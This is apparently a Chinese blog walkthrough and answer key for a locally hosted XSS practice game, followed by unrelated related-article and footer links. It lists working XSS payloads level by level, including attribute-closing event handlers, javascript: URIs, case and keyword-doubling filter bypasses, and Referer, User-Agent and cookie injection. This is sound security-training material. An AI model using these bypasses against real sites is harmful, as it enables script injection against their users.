XSS练习小游戏和答案参考
源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
感谢源码作者提供了这样的环境。
我自己在本地虚拟机的路径,http://127.0.0.1/xss/ 打开后提示点击图片,进入第一关。
第一关:输入的变量直接被输出,直接构造payload即可。
http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>
http://127.0.0.1/xss/level1.php?name=test‘<script>alert(1)</script>

第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。

payload:
http://127.0.0.1/xss/level2.php?keyword=test"><script>alert(1)</script>
第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value
http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(1)'

第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签
http://127.0.0.1/xss/level4.php?keyword=test"onmouseover='alert(1)'

第五关:<script 和on被替换了,构造不含这两个的payload
127.0.0.1/xss/level5.php?keyword=find a way out!1"><a href="javascript:alert(1)">

第六关:比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload
http://127.0.0.1/xss/level6.php?keyword=break it out!1"><SCRIPT>alert(1)</script>

第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用<scriscritpt>,中间的script变成了空格,正好变成了<script>
127.0.0.1/xss/level7.php?keyword=move up!1"><scriscriptpt>alert(1)</scriscriptpt>

第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码
搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接
第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert('http://')
第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:
http://127.0.0.1/xss/level10.php?t_sort="onmouseover='alert(1)'type="text"
第十一关: 查看源码: 可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover='alert(1)' type="text"。
第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上" onmouseover='alert(1)' type="text"。
第十三关:同上,查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上" onmouseover='alert(1)' type="text"。
第十四关:网站已经打不开,略过
第十五关:没太看懂,略过
第十六关:script / 空格被过滤了 ,用%0d换行符绕过
http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)
第十七关:arg01和arg02 被htmlspecialchars过滤了,通过onmouseover='alert(1)'绕过。
http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20onmouseover=alert%282%29
第十八关:同十七,直接把arg02 设置为onmouseover='alert(1)'
http://192.168.40.128/xss/level18.php?arg01=a&arg02= onmouseover=alert(2)
第十九关:
XSS练习小游戏和答案参考的更多相关文章
- xss games20关小游戏附源代码
1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...
- xss小游戏通关
xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...
- Monyer.cn黑客小游戏
花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...
- Demo_2:Qt实现猜字小游戏
1 环境 系统:windows 10 代码编写运行环境:Qt Creator 4.4.1 (community) Github: 2 简介 参考视频:https://www.bilibili.co ...
- jQuery实践-网页版2048小游戏
▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...
- JavaScript版拼图小游戏
慕课网上准备开个新的jQuery教程,花了3天空闲时间写了一个Javascript版的拼图小游戏,作为新教程配套的分析案例 拼图游戏网上有不少的实现案例了,但是此源码是我自己的实现,所以不做太多的比较 ...
- C\C++ 1A2B小游戏源码
学了一段时间,心血来潮写了一个1A2B小游戏,很多人应该玩过,是一个挺有意思的益智小游戏,之前用易语言写过,现在又用C++重写了一下. 编译运行无错,整体程序设计思路为:进入循环,初始化游戏,读入一个 ...
- DOM+CSS3实现小游戏SwingCopters
前些日子看到了一则新闻,flappybird原作者将携新游戏SwingCopters来袭,准备再靠这款姊妹篇游戏引爆大众眼球.就是下面这个小游戏: 前者的传奇故事大家都有耳闻,至于这第二个游戏能否更加 ...
- [安卓] 12、开源一个基于SurfaceView的飞行射击类小游戏
前言 这款安卓小游戏是基于SurfaceView的飞行射击类游戏,采用Java来写,没有采用游戏引擎,注释详细,条理比较清晰,适合初学者了解游戏状态转化自动机和一些继承与封装的技巧. 效果展示 ...
随机推荐
- codeforces 1041 E.Vasya and Good Sequences(暴力?)
E. Vasya and Good Sequences time limit per test 2 seconds memory limit per test 256 megabytes input ...
- svmrank 的误差惩罚因子c选择 经验
C是一个由用户去指定的系数,表示对分错的点加入多少的惩罚,当C很大的时候,分错的点就会更少,但是过拟合的情况可能会比较严重,当C很小的时候,分错的点可能会很多,不过可能由此得到的模型也会不太正确,所以 ...
- 【ZOJ3899】State Reversing 解题报告
[ZOJ3899]State Reversing Description 有\(N\)个不同的怪兽,编号从\(1\) 到\(N\).Yukari有\(M\)个相同的房间,编号为\(1\)到\(M\). ...
- Fork/Join框架实现原理
ForkJoinPool由ForkJoinTask数组和ForkJoinWorkerThread数组组成,ForkJoinTask数组负责存放程序提交给ForkJoinPool的任务,而ForkJoi ...
- POJ.1330 Nearest Common Ancestors (LCA 倍增)
POJ.1330 Nearest Common Ancestors (LCA 倍增) 题意分析 给出一棵树,树上有n个点(n-1)条边,n-1个父子的边的关系a-b.接下来给出xy,求出xy的lca节 ...
- Centos Python3安装共存
安装python3.6可能使用的依赖 yum install openssl-devel bzip2-devel expat-devel gdbm-devel readline-devel sqlit ...
- 团体程序设计天梯赛 L1-011. A-B
读入的是字符串,数组大小至少为字符串长度+1 #include <stdio.h> #include <stdlib.h> #include <string.h> ...
- Laravel 项目集合
1. CMS LaraCMS https://github.com/wanglelecc/laracms 2. 电商 3. 点播 MeEdu https://github.com/Qs ...
- python基础4--文件操作
文件操作 对文件操作流程 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 1.open()打开文件 #获取文件句柄 f = open("yesterday" ...
- pycharm 取消自动保存
pycharm默认是自动保存的,习惯自己按 ctrl + s 的可以进行如下设置: 菜单File -> Settings... -> Appearance & Behavior - ...